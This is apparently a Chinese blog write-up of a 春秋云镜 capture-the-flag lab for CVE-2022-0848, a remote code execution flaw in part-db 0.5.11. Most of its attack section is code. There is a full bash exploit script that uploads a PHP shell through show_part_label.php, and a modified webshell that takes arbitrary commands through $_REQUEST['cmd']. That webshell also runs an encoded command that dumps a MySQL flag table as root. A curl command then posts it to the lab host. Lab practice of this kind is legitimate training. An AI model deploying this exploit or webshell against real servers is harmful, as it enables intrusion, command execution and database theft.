春秋云镜 CVE-2022-0848

最新推荐文章于 2024-11-01 16:03:12 发布

isbug0

最新推荐文章于 2024-11-01 16:03:12 发布

阅读量398

点赞数

分类专栏：靶场文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_22002773/article/details/131896246

版权

靶场专栏收录该内容

84 篇文章 3 订阅

订阅专栏

文章介绍了part-db0.5.11版本的一个远程代码执行(RCE)漏洞，该漏洞允许攻击者通过命令注入执行系统命令。提供了一个利用脚本，包括创建PHPshell并利用POST请求上传到目标服务器，最终获取shell位置和flag。

摘要由CSDN通过智能技术生成

春秋云镜 CVE-2022-0848 part-db RCE

靶标介绍

part-db RCE，part-db是一个基于 Web 的数据库，用于管理电子元件；part-db 0.5.11版本存在操作系统命令注入漏洞，该漏洞源于part-db 中存在系统命令注入。

启动场景

在这里插入图片描述

漏洞利用

EXP

# Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)
# Google Dork: NA
# Date: 03/04/2022
# Exploit Author: Sunny Mehra @DSKMehra
# Vendor Homepage: https://github.com/part-db/part-db
# Software Link: https://github.com/part-db/part-db
# Version: [ 0.5.11.] 
# Tested on: [KALI OS]
# CVE : CVE-2022-0848
#
---------------

#!/bin/bash
host=127.0.0.1/Part-DB-0.5.10 #WEBHOST
#Usage: Change host 
#Command: bash exploit.sh
#EXPLOIT BY @DSKMehra
echo "<?php system(id); ?>">POC.phtml  #PHP Shell Code
result=`curl -i -s -X POST -F "logo_file=@POC.phtml" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data/media/labels/).*(?=" > <p)'`
rm POC.phtml
echo Shell Location : "$host/data/media/labels/$result"

修改下,提前写好shell.pht

echo "GIF89a
<?php
system('cat /flag');
system('cat flag');
system($_REQUEST['cmd']);
system(urldecode("export%20PATH%3D%24PATH%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%3BTAGS%3D%2288f2%22%221648%22%3BTAGE%3D%22f8a%22%22511%22%3Basenc()%7B%20cat%20%22%24%40%22%3B%20%7D%3Basexec()%20%7B%20APWD%3D%22root%22%3B%0A%20%20%20%20if%20%5B%20-z%20%24APWD%20%5D%3B%20then%20MYSQLPWD%3D%22%22%3B%20else%20MYSQLPWD%3D%22-p%24%7BAPWD%7D%22%3B%20fi%3B%0A%20%20%20%20mysql%20--xml%20--raw%20-B%20-hlocalhost%20-uroot%20%24MYSQLPWD%20-Dzzcms%20%3C%3C'EOF'%0ASELECT%20*%20FROM%20%60flag%60%20ORDER%20BY%201%20DESC%20LIMIT%200%2C20%3B%3B%0ASELECT%20ROW_COUNT()%20as%20%22Affected%20Rows%22%3B%0AEOF%0A%20%20%20%20%20%7D%3Becho%20-n%20%22%24TAGS%22%3Basexec%7Casenc%3Becho%20-n%20%22%24TAGE%22%3B"));
phpinfo();
?>

curl -i -s -X POST -F "logo_file=@shell.pht" "http://eci-2zei27asrzyq0xmntx8j.cloudeci1.ichunqiu.com/show_part_label.php" | grep -o -P '(?<=value="data/media/labels/).*(?=" > <p)'